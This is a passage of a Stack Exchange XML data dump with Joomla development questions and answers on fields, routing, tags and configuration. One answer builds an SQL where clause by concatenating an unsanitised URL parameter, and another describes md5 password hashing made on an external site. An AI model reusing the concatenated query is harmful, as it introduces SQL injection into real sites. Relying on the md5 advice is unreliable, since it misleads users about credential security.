'false');&#xA;    $coordsField-&amp;gt;setAttribute('formsource', '/plugins/fields/pluginname/fields/config.xml');&#xA;    $coordsField-&amp;gt;setAttribute('description', JText::_('NX_BINGMP_VALUE_DESC'));&#xA;&#xA;&#xA;    return $coordsField;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;$coordsField should now be of type subform...&lt;/p&gt;&#xA;&lt;p&gt;My pluginname.php in fields folder looks like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;class JFormFieldPluginname extends JFormFieldSubform&#xA;{&#xA;public $type = 'pluginname';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;So after some research I found this thread that confirmed my half-knowledge - There is no Subform Field as a Custom Field in Joomla 3:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/22446&quot; rel=&quot;nofollow noreferrer&quot;&gt;Github&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9407" LastEditorUserId="9407" LastEditDate="2020-10-15T18:42:28.680" LastActivityDate="2020-10-15T18:42:28.680" Title="Own Custom Field Plugin - Multiple Inputs" Tags="|custom-field|fields|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="28572" PostTypeId="2" ParentId="28554" CreationDate="2020-10-15T22:27:54.567" Score="0" Body="&lt;p&gt;You need to implement associations - the guide for this can be found in the Joomla documentation - &lt;a href=&quot;https://docs.joomla.org/J3.x:Multilingual_Associations#&quot; rel=&quot;nofollow noreferrer&quot;&gt;Multilingual Associations&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="5627" LastActivityDate="2020-10-15T22:27:54.567" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28575" PostTypeId="1" AcceptedAnswerId="28585" CreationDate="2020-10-16T14:05:17.263" Score="1" ViewCount="97" Body="&lt;p&gt;Now I am using Fabrik and EasySocial.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/v8QRL.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/v8QRL.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Here is the table of Fabrik and the Label name &amp;quot;ADDED BY&amp;quot; is user name from Joomla User.&lt;/p&gt;&#xA;&lt;p&gt;When I click on username, it takes me to edit the record, but I don't want it to be way. I want when someone clicks the username, for the link to open the User Profile of EasySocial.&lt;/p&gt;&#xA;&lt;p&gt;When someone clicks the username &amp;quot;SOK SAVRY&amp;quot;, the link opens this profile: &lt;code&gt;https://seekkhmer.com/index.php/profile-layout/saovry&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;When someone clicks username &amp;quot;Khan Vannara&amp;quot;, the link opens this profile:&#xA;&lt;code&gt;https://seekkhmer.com/index.php/profile-layout/khun-vannara&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;I asked the Fabrik about this and they just told me (You can add a custom link to your &amp;quot;Added by&amp;quot; element (List view settings/List settings).&lt;/p&gt;&#xA;&lt;p&gt;My problem is that I don't know about the custom link of EasySocial component.&lt;/p&gt;&#xA;" OwnerUserId="14595" LastEditorUserId="12352" LastEditDate="2020-10-16T23:48:43.453" LastActivityDate="2020-10-21T05:23:18.260" Title="How to set the username hyperlink to open the user's EasySocial Profile in Fabrik?" Tags="|component|profile|fabrik|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28576" PostTypeId="1" CreationDate="2020-10-16T14:36:44.007" Score="0" ViewCount="92" Body="&lt;p&gt;I have a site with many articles, each articles has own tags, they are assigned to 3 main categories, lets say:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Cat. &amp;quot;Blog Food&amp;quot;: 15 articles with own tags&lt;/li&gt;&#xA;&lt;li&gt;Cat. &amp;quot;Blog Travel&amp;quot;: 25 articles with own tags&lt;/li&gt;&#xA;&lt;li&gt;Cat. &amp;quot;Blog Hotel&amp;quot;: 10 articles with own tags&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;I have 3 menu items with Blog view, each menu shows articles from one category, so I have 3 different blogs.&lt;/p&gt;&#xA;&lt;p&gt;Now what I want to do is to show a &amp;quot;Popular tags&amp;quot; in each blog, showing tags only from this specific category.&lt;/p&gt;&#xA;&lt;p&gt;The problem I have is that the module shows tags from all the articles, so tags from &amp;quot;food&amp;quot; blog are shown also in the &amp;quot;hotel&amp;quot; blog.&lt;/p&gt;&#xA;&lt;p&gt;How can I make possible to show tags selecting the &amp;quot;source&amp;quot; of the tags, from example add a &amp;quot;popular tags&amp;quot; module on &amp;quot;food&amp;quot; blog that shows only tags taken from articles that are in &amp;quot;food&amp;quot; category.&lt;/p&gt;&#xA;&lt;p&gt;I have tried to use the built in tags module and couple other additional module, but they show only all the tags from all the articles.&lt;/p&gt;&#xA;" OwnerUserId="4019" LastActivityDate="2020-10-16T22:28:11.387" Title="Popular Tags module, show tags only from selected categories" Tags="|joomla-3.x|tags|category-blog|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28577" PostTypeId="2" ParentId="28576" CreationDate="2020-10-16T22:28:11.387" Score="1" Body="&lt;p&gt;I suggest you develop your own module to do what you want. If I understand you right, you're saying that the Joomla &lt;code&gt;mod_tags_popular&lt;/code&gt; does mostly what you want, apart from restricting the tags. So start with that module as the basis.&lt;/p&gt;&#xA;&lt;p&gt;You'd be best to check the URL parameters (see &lt;a href=&quot;https://docs.joomla.org/Retrieving_request_data_using_JInput&quot; rel=&quot;nofollow noreferrer&quot;&gt;Requesting Data with JInput&lt;/a&gt;) to ensure that &lt;code&gt;option=com_content&lt;/code&gt; and &lt;code&gt;view=category&lt;/code&gt;, then your category id will be given by the &lt;code&gt;id&lt;/code&gt; URL parameter.&lt;/p&gt;&#xA;&lt;p&gt;Then you'll have to restrict the SQL query in the &lt;code&gt;mod_tags_popular&lt;/code&gt; helper.php file by finding records from the &lt;code&gt;#__ucm_content&lt;/code&gt; table where &lt;code&gt;core_catid&lt;/code&gt; matches your &lt;code&gt;id&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;So after the lines:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$query-&amp;gt;join('INNER', $db-&amp;gt;quoteName('#__tags', 't') . ' ON ' . $db-&amp;gt;quoteName('tag_id') . ' = t.id')&#xA;        -&amp;gt;join('INNER', $db-&amp;gt;qn('#__ucm_content', 'c') . ' ON ' . $db-&amp;gt;qn('m.core_content_id') . ' = ' . $db-&amp;gt;qn('c.core_content_id'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;put:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$query-&amp;gt;where($db-&amp;gt;qn('c.core_catid') . ' = ' . $id);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;where &lt;code&gt;$id&lt;/code&gt; contains the &lt;code&gt;id&lt;/code&gt; URL parameter.&lt;/p&gt;&#xA;" OwnerUserId="11650" LastActivityDate="2020-10-16T22:28:11.387" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28578" PostTypeId="1" CreationDate="2020-10-16T18:27:28.303" Score="0" ViewCount="67" Body="&lt;p&gt;I have exported the Joomla DB dump from Production application and imported the same production sql dump file to my development environment. Now when i launch the development site then it logs me in only with the production credentials and after logging in it redirects me to the prod site. This issue could be because of using Prod db dump in Development. so some configuration is there inside DB tables which is forcing me to use Prod credentials in Development site.&#xA;Note: Dev site was working fine before updating the db file. I didnt change anything in config files.&lt;/p&gt;&#xA;&lt;p&gt;I know there is a table in Database where the site urls are mentioned but i am not sure which table it is.&lt;/p&gt;&#xA;" OwnerUserId="14379" OwnerDisplayName="Daniel Raj" LastEditorUserId="14379" LastEditDate="2020-10-21T07:52:46.793" LastActivityDate="2024-03-05T11:08:16.003" Title="Joomla Dev site accepting only prod credentials and directing to Prod site after replicating the Prod db dump to Dev DB" Tags="|mysql|linux|docker|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="28579" PostTypeId="1" CreationDate="2020-10-15T10:32:27.833" Score="0" ViewCount="351" Body="&lt;p&gt;How can I get &amp;amp; set the &lt;strong&gt;fragment(# parameter in URL)&lt;/strong&gt; in the URL with the Joomla's existing build &amp;amp; parse method in the router file of the custom component?&lt;/p&gt;&#xA;" OwnerUserId="13712" OwnerDisplayName="learnNewThingAlways" LastEditorUserId="12352" LastEditDate="2020-10-18T08:25:55.843" LastActivityDate="2020-10-22T05:44:05.263" Title="Joomla router file with fragment(# parameter in URL) in a custom component" Tags="|url|router|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="28580" PostTypeId="1" CreationDate="2020-10-19T00:15:02.793" Score="1" ViewCount="35" Body="&lt;p&gt;I found a problem in the &lt;strong&gt;&amp;quot;System - K2&amp;quot;&lt;/strong&gt; plugin in &lt;strong&gt;version 2.10.3&lt;/strong&gt;.&#xA;When the &amp;quot;System - K2&amp;quot; plugin is enabled, if the site is multilingual, the language attributes (&amp;quot;lang&amp;quot; and &amp;quot;dir&amp;quot;) that appear on the HTML tags, don't change and only the default language attributes will be displayed.&lt;/p&gt;&#xA;&lt;p&gt;I checked the &lt;strong&gt;version 2.10.2&lt;/strong&gt; and everything is ok.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Please note that it does not matter if you use the K2 component or not; just install K2 to see this issue.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Please help and let me know what can I do?&lt;/p&gt;&#xA;" OwnerUserId="13815" LastEditorUserId="13815" LastEditDate="2020-10-20T06:22:42.550" LastActivityDate="2020-10-20T06:22:42.550" Title="Joomla multilingual site HTML tag attributes don't change after install k2 component 2.10.3" Tags="|joomla-3.x|k2|tags|multilingual|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28581" PostTypeId="1" AcceptedAnswerId="28582" CreationDate="2020-10-19T04:15:22.263" Score="2" ViewCount="939" Body="&lt;p&gt;I have created a component and need to get a constant value in the component administrator and list the item according to it. I have tried different ways to get the constant value in the &lt;code&gt;display()&lt;/code&gt; function in 'view.html.php'. I am expecting the value will be available in the default.php with &lt;code&gt;$this&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;I have defined the constant in the configuration.php file, a URL is supposed to be define.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;define('CONSTANTVALUE', 'the URL string');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;in the &lt;code&gt;display()&lt;/code&gt; function,&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$config = JFactory::getConfig();&#xA;$constantvalue = $config-&amp;gt;get('CONSTANTVALUE');&#xA;$this-&amp;gt;constantvalue=  $constantvalue;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Seems this is not working. Then, I have tried:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;JFactory::getApplication()-&amp;gt;get('CONSTANTVALUE');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;That is also not working.&lt;/p&gt;&#xA;&lt;p&gt;I have referred to this thread, &lt;a href=&quot;https://stackoverflow.com/questions/21702981/joomla-3-how-to-get-value-from-configuration-file&quot;&gt;https://stackoverflow.com/questions/21702981/joomla-3-how-to-get-value-from-configuration-file&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;How can I get the constant from configuration to component view file?&lt;/p&gt;&#xA;" OwnerUserId="14598" LastEditorUserId="12352" LastEditDate="2020-10-19T05:16:00.883" LastActivityDate="2020-11-18T06:28:52.610" Title="Joomla 3.9.19 get the constants from global configuration in component display function" Tags="|component|custom-component|joomla-3.9|configuration|component-configuration|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="28582" PostTypeId="2" ParentId="28581" CreationDate="2020-10-19T13:42:40.457" Score="3" Body="&lt;p&gt;So to get it from global configuration set in configuration.php from anywhere within Joomla component, plugins, modules and templates you would use:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$config   = JFactory::getConfig();&#xA;$siteName = $config-&amp;gt;get('sitename', 'No Site Name Specified');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;OR&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$siteName  = JFactory::getConfig()-&amp;gt;get('sitename', 'No Site Name Specified');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;You can also use name spacing in preparation for Joomla 4 with the following:&lt;/p&gt;&#xA;&lt;p&gt;define&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\Factory;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;before the class opening.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$globalConfig = Factory::getConfig();&#xA;$siteName     = $globalConfig-&amp;gt;get('sitename', 'No Site Name Specified'); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Noting the 'sitename' might be case sensitive.&lt;/p&gt;&#xA;" OwnerUserId="7212" LastEditorUserId="7212" LastEditDate="2020-11-18T06:28:52.610" LastActivityDate="2020-11-18T06:28:52.610" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28583" PostTypeId="1" CreationDate="2020-10-20T19:09:36.047" Score="1" ViewCount="19" Body="&lt;p&gt;Has anyone used img srcset from html5 for assigning smaller images for smaller screens?&lt;/p&gt;&#xA;&lt;p&gt;I believe I saw it referred in one of the JoomlaDay Chicago presentations and took a note to look into it.  But I haven't found a good source on how the html code is formatted and used.  Does anyone have a tutorial?  And also, do you recommend using it - is it browser compatible?&lt;/p&gt;&#xA;" OwnerUserId="14569" LastActivityDate="2020-10-20T19:09:36.047" Title="Has anyone used img srcset from html5 for assigning smaller images for smaller screens?" Tags="|jhtml|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28584" PostTypeId="2" ParentId="28579" CreationDate="2020-10-20T19:42:08.850" Score="1" Body="&lt;p&gt;Your question is not fully clear about using Fragments in Joomla Routers and it is because I do not really see  what you really want to do with the fragments in your component's router. Few things I’d like to clear about that though.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;#Fragments&lt;/strong&gt; are not handled by the Joomla Router class basically since #fragments do not require routing. It is handled by the &lt;strong&gt;Joomla Uri&lt;/strong&gt; class however as a URI component (out of other defined uri components). But since uri #fragments - otherwise pointers to &amp;quot;html anchors&amp;quot; - show direction to an HTML element and the browser will scroll that element into view, thus you do not have to write a separate router for them in your Joomla component. It is processed without any router work on the page where your router sent you.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;The fragment identifier functions differently to the rest of the URI: its processing is exclusively client-sided with no participation from the web server,...(from wikipedia)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;In Joomla however you can &lt;code&gt;set&lt;/code&gt; and &lt;code&gt;get&lt;/code&gt; and “manipulate” the fragment part of the URL by the Joomla &lt;strong&gt;Uri&lt;/strong&gt; class. This is the class you can build, parse or manipulate URLs with in Joomla.&lt;/p&gt;&#xA;&lt;p&gt;So if you create an &lt;strong&gt;Html anchor&lt;/strong&gt; element on any page in Joomla:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a name=“my_anchor”&amp;gt;#This is my Fragment here&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Then you can point to that HTML anchor by adding that anchor name (or &lt;code&gt;id&lt;/code&gt;) as the fragment to the end of the URL of the page where that anchor is and you can of course use the Joomla &lt;strong&gt;Uri class&lt;/strong&gt; for doing that. Thus in your PHP code where you handle URLs (and/or routing maybe) you can get and set and might &amp;quot;manipulate&amp;quot; that URL part. As an example, on the top of your PHP file include Joomla Uri class (you can try this code in any layout file):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;use \Joomla\CMS\Uri\Uri;&#xA;&#xA;// Returns the global JUri object, only creating it if it doesn't already exist.    &#xA;$uriInst = Uri::getInstance(); &#xA;&#xA;// adding a fragment to the url object you got    &#xA;$uriInst-&amp;gt;setFragment('my_anchor');&#xA;&#xA;echo &amp;quot;&amp;lt;br&amp;gt;this is the Uri instance's string url with the added fragment: &amp;quot; . $uriInst; // or&#xA;echo &amp;quot;&amp;lt;br&amp;gt;Uri instance plus fragment to string:&amp;quot; . $uriInst-&amp;gt;toString() . &amp;quot;&amp;lt;br&amp;gt;&amp;quot;;&#xA;&#xA;// to get the fragment part from the Uri object    &#xA;$myFragm = $uriInst-&amp;gt;getFragment(); &#xA;&#xA;echo &amp;quot;&amp;lt;br&amp;gt;&amp;quot; . $myFragm;&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Now, if you dump the Uri object at this point: &lt;code&gt;var_dump($uriInst);&lt;/code&gt;, then you will see something like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;object(Joomla\CMS\Uri\Uri)[345]&#xA;  protected 'uri' =&amp;gt; string 'http://mysite/index.php?option=com_mycomponent&amp;amp;layout=default_page_html' (length=76)&#xA;  protected 'scheme' =&amp;gt; string 'http' (length=4)&#xA;  protected 'host' =&amp;gt; string 'mysite' (length=7)&#xA;  protected 'port' =&amp;gt; null&#xA;  protected 'user' =&amp;gt; null&#xA;  protected 'pass' =&amp;gt; null&#xA;  protected 'path' =&amp;gt; string '/index.php' (length=10)&#xA;  protected 'query' =&amp;gt; string 'option=com_mycomponent&amp;amp;layout=default_page_html' (length=51)&#xA;  protected 'fragment' =&amp;gt; string 'my_anchor' (length=10)&#xA;  protected 'vars' =&amp;gt; &#xA;    array (size=2)&#xA;      'option' =&amp;gt; string 'com_component' (length=19)&#xA;      'layout' =&amp;gt; string 'default_page_html' (length=17)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;You see,&lt;/strong&gt; a perfect URI object with all of the &lt;code&gt;uri components&lt;/code&gt; needed for the Router builder if you would like to use that there too. But it is important to note that the router builder/parser is expected to work with the &lt;code&gt;’query’&lt;/code&gt; part of the URI/URL. I hope that the above helps a bit to clear the subject more for you and you will be able to use it.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;references:&lt;/strong&gt; &lt;a href=&quot;https://en.wikipedia.org/wiki/URI_fragment&quot; rel=&quot;nofollow noreferrer&quot;&gt;URI Fragments&lt;/a&gt; , &lt;a href=&quot;https://docs.joomla.org/URLs_in_Joomla&quot; rel=&quot;nofollow noreferrer&quot;&gt;URLs in Joomla&lt;/a&gt; , &lt;a href=&quot;https://api.joomla.org/cms-3/classes/Joomla.CMS.Uri.Uri.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla Uri class&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12524" LastEditorUserId="12524" LastEditDate="2020-10-22T05:44:05.263" LastActivityDate="2020-10-22T05:44:05.263" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28585" PostTypeId="2" ParentId="28575" CreationDate="2020-10-21T05:23:18.260" Score="1" Body="&lt;p&gt;Open your user element.&#xA;From left menu open List view settings-&amp;gt;tab List settings.&#xA;There have a field Custom link. Read label tooltip.&#xA;Place in field your link to Easysocial user. Replace user id with {rowid}.&lt;/p&gt;&#xA;" OwnerUserId="7640" LastActivityDate="2020-10-21T05:23:18.260" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28586" PostTypeId="2" ParentId="28578" CreationDate="2020-10-21T07:20:17.977" Score="0" Body="&lt;p&gt;Editing after going through comments:&#xA;After looking at the plugins of Joomdle, I found out a user plugin named joomlahooks. This plugin changes the way you login to the Joomla site. there is a function named &lt;code&gt;do_login&lt;/code&gt; inside &lt;code&gt;joomdlehooks.php&lt;/code&gt;. Inside that function there is a redirect command&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$moodle_user = JoomdleHelperContent::call_method (&amp;quot;user_id&amp;quot;, $username);&#xA;// Do nothing if user does not exist in Moodle&#xA;if (!$moodle_user)&#xA;return;&#xA;$comp_params = JComponentHelper::getParams( 'com_joomdle' );&#xA;$moodle_url = $comp_params-&amp;gt;get( 'MOODLE_URL' );&#xA;$redirectless_sso = $comp_params-&amp;gt;get( 'redirectless_sso' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Inside the configuration is saved &lt;code&gt;MOODLE_URL&lt;/code&gt; data. You need to check what is fed in that data. If you are unable to log into admin just use phpmyadmin and search for &lt;code&gt;MOODLE_URL&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;What I understand is you have overwritten the database where user credentials are stored with your production db dump. If you are using Joomla 3 then you need to check this table &lt;code&gt;#__users&lt;/code&gt; where all the user credentials are stored including those of &lt;code&gt;Super Users&lt;/code&gt;. You can filter by name &lt;code&gt;Super User&lt;/code&gt; in your &lt;code&gt;phpmyadmin&lt;/code&gt;. There you can change the username and password. Remember the password is &lt;strong&gt;md5 encrypted&lt;/strong&gt;. So you can use some external website and generate the password. Once done try to login with new credentials and hopefully you will be able to login with your new credentials.&lt;/p&gt;&#xA;" OwnerUserId="8486" LastEditorUserId="8486" LastEditDate="2020-10-22T05:47:57.167" LastActivityDate="2020-10-22T05:47:57.167" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="28587" PostTypeId="1" AcceptedAnswerId="28588" CreationDate="2020-10-21T11:26:38.597" Score="0" ViewCount="31" Body="&lt;p&gt;I am facing a problem with the rendering template after duplicating. The situation is I want to load a template on iFrame. So, I've set the URL of the iFrame like-&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Uri::root(true) . '/index.php?template=my_template'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This is working fine. But the problem is I need to duplicate the template (as many as I want) and after duplicating the URL &lt;code&gt;Uri::root(true) . '/index.php?template=my_template'&lt;/code&gt; renders the template which encountered first in the database.&lt;/p&gt;&#xA;&lt;p&gt;For example, If my original template id is &lt;code&gt;9&lt;/code&gt; at &lt;code&gt;#__template_styles&lt;/code&gt; table and I make a duplicate copy of the template and the id is &lt;code&gt;10&lt;/code&gt; then the URL &lt;code&gt;Uri::root(true) . '/index.php?template=my_template'&lt;/code&gt; always renders the template which id is &lt;code&gt;9&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;So, the question is - &lt;em&gt;Is there any way to render the template with it's ID (in this case with ID 10)?&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="12609" LastActivityDate="2020-10-21T13:03:36.057" Title="Render template on iframe by template ID" Tags="|joomla-3.x|templates|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28588" PostTypeId="2" ParentId="28587" CreationDate="2020-10-21T13:03:36.057" Score="2" Body="&lt;p&gt;Use &lt;code&gt;templateStyle&lt;/code&gt; query parameter.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;index.php?templateStyle=9&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This only works on site application (same is true for &lt;code&gt;template&lt;/code&gt; parameter).&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2020-10-21T13:03:36.057" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28589" PostTypeId="1" CreationDate="2020-10-21T13:11:49.417" Score="0" ViewCount="59" Body="&lt;p&gt;We're thinking about getting a CMS and are currently working with Chargebee and Unbounce. I couldn't quite find if Joomla supports both integrations.&lt;/p&gt;&#xA;" OwnerUserId="14603" LastEditorUserId="12352" LastEditDate="2020-10-21T13:45:08.910" LastActivityDate="2020-10-21T13:45:08.910" Title="Does Joomla suppport Chargebee &amp; Unbounce?" Tags="|integration|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="28592" PostTypeId="1" CreationDate="2020-10-15T11:07:09.133" Score="0" ViewCount="31" Body="&lt;p&gt;I am migrating a Joomla 3 website, but I am getting an error message.  The issue is that Joomla is showing an error message, but it doesn't show the name of the file where the error is triggering.&lt;/p&gt;&#xA;&lt;p&gt;Any help with this?&lt;/p&gt;&#xA;&lt;p&gt;Please note, I'm not asking about how to migrate the website, I'm just asking how to show the name of the file where the error is triggering.&lt;/p&gt;&#xA;" OwnerUserId="13203" OwnerDisplayName="Alberto Muñoz Sánchez" LastEditorUserId="12352" LastEditDate="2020-10-21T23:55:46.093" LastActivityDate="2021-07-19T02:03:55.430" Title="How to know the name of the file where the error is triggering in Joomla?" Tags="|migration|error-reporting|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="28593" PostTypeId="2" ParentId="28592" CreationDate="2020-10-17T06:51:29.803" Score="1" Body="&lt;p&gt;You need to open the Joomla Global Configuration, increase the Error Reporting Level. Depending on where the exception occurs, you might also have to enable the Debug Mode.&lt;/p&gt;&#xA;" OwnerUserId="11801" OwnerDisplayName="Sven Bluege" LastActivityDate="2020-10-17T06:51:29.803" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28594" PostTypeId="2" ParentId="4110" CreationDate="2020-10-23T00:42:59.567" Score="-1" Body="&lt;p&gt;Used rereplacer extension from regular labs... (png in my images dir...&lt;/p&gt;&#xA;" OwnerUserId="14608" LastActivityDate="2020-10-23T00:42:59.567" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="28595" PostTypeId="1" CreationDate="2020-10-23T07:15:08.780" Score="1" ViewCount="58" Body="&lt;p&gt;I am having a problem recently is that- I am creating a Joomla Site Template and for a specific condition, the template redirects to &lt;code&gt;http://mydomain.com/index.php?templateStyle=10&amp;amp;tmpl=custom&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Now I want to convert this &lt;code&gt;?templateStyle=10&amp;amp;tmpl=cutom&lt;/code&gt; to a SEF url like &lt;code&gt;/10-template-name/custom&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Is there any way to do such from the templates &lt;code&gt;index.php&lt;/code&gt; file?&lt;/p&gt;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="12609" LastActivityDate="2020-10-23T22:43:34.737" Title="Joomla apply SEF route from template's index.php file" Tags="|templates|sef|redirect|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28596" PostTypeId="2" ParentId="28510" CreationDate="2020-10-23T16:42:15.553" Score="0" Body="&lt;p&gt;I can't speak french, but I suppose this was a warning which leaded on some server settings to an error. This one is fixed with the 3.2.0&#xA;&lt;a href=&quot;https://extensions.schultschik.com/products/schuweb-sitemap/schuweb-sitemap-3-2-0&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://extensions.schultschik.com/products/schuweb-sitemap/schuweb-sitemap-3-2-0&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Sorry for the late response, I overseen this question.&lt;/p&gt;&#xA;" OwnerUserId="13188" LastActivityDate="2020-10-23T16:42:15.553" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28597" PostTypeId="2" ParentId="28595" CreationDate="2020-10-23T22:43:34.737" Score="1" Body="&lt;p&gt;Short answer is no.&#xA;Only the menu and components can define sef routes. The other option is to run something early in the life cycle to mess with the routing directly, but the template runs much too late for that. A system plugin would be the extension for this.&lt;/p&gt;&#xA;" OwnerUserId="7374" LastActivityDate="2020-10-23T22:43:34.737" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28598" PostTypeId="1" AcceptedAnswerId="28599" CreationDate="2020-10-26T22:44:32.493" Score="0" ViewCount="66" Body="&lt;p&gt;I can get my form data using&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$jinput = JFactory::getApplication()-&amp;gt;input;&#xA;$jpost = $jinput-&amp;gt;post; &#xA;$feedback = $jpost-&amp;gt;get('feedback', '', 'STRING');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;But I have a group of checkboxes[] and can't seem to work out how to get the values submitted ...&lt;/p&gt;&#xA;" OwnerUserId="1799" LastEditorUserId="1799" LastEditDate="2020-10-27T04:45:51.133" LastActivityDate="2020-10-27T04:45:51.133" Title="Get multi checkbox values from jpost" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="1" ClosedDate="2020-10-27T01:51:07.953" ContentLicense="CC BY-SA 4.0" />
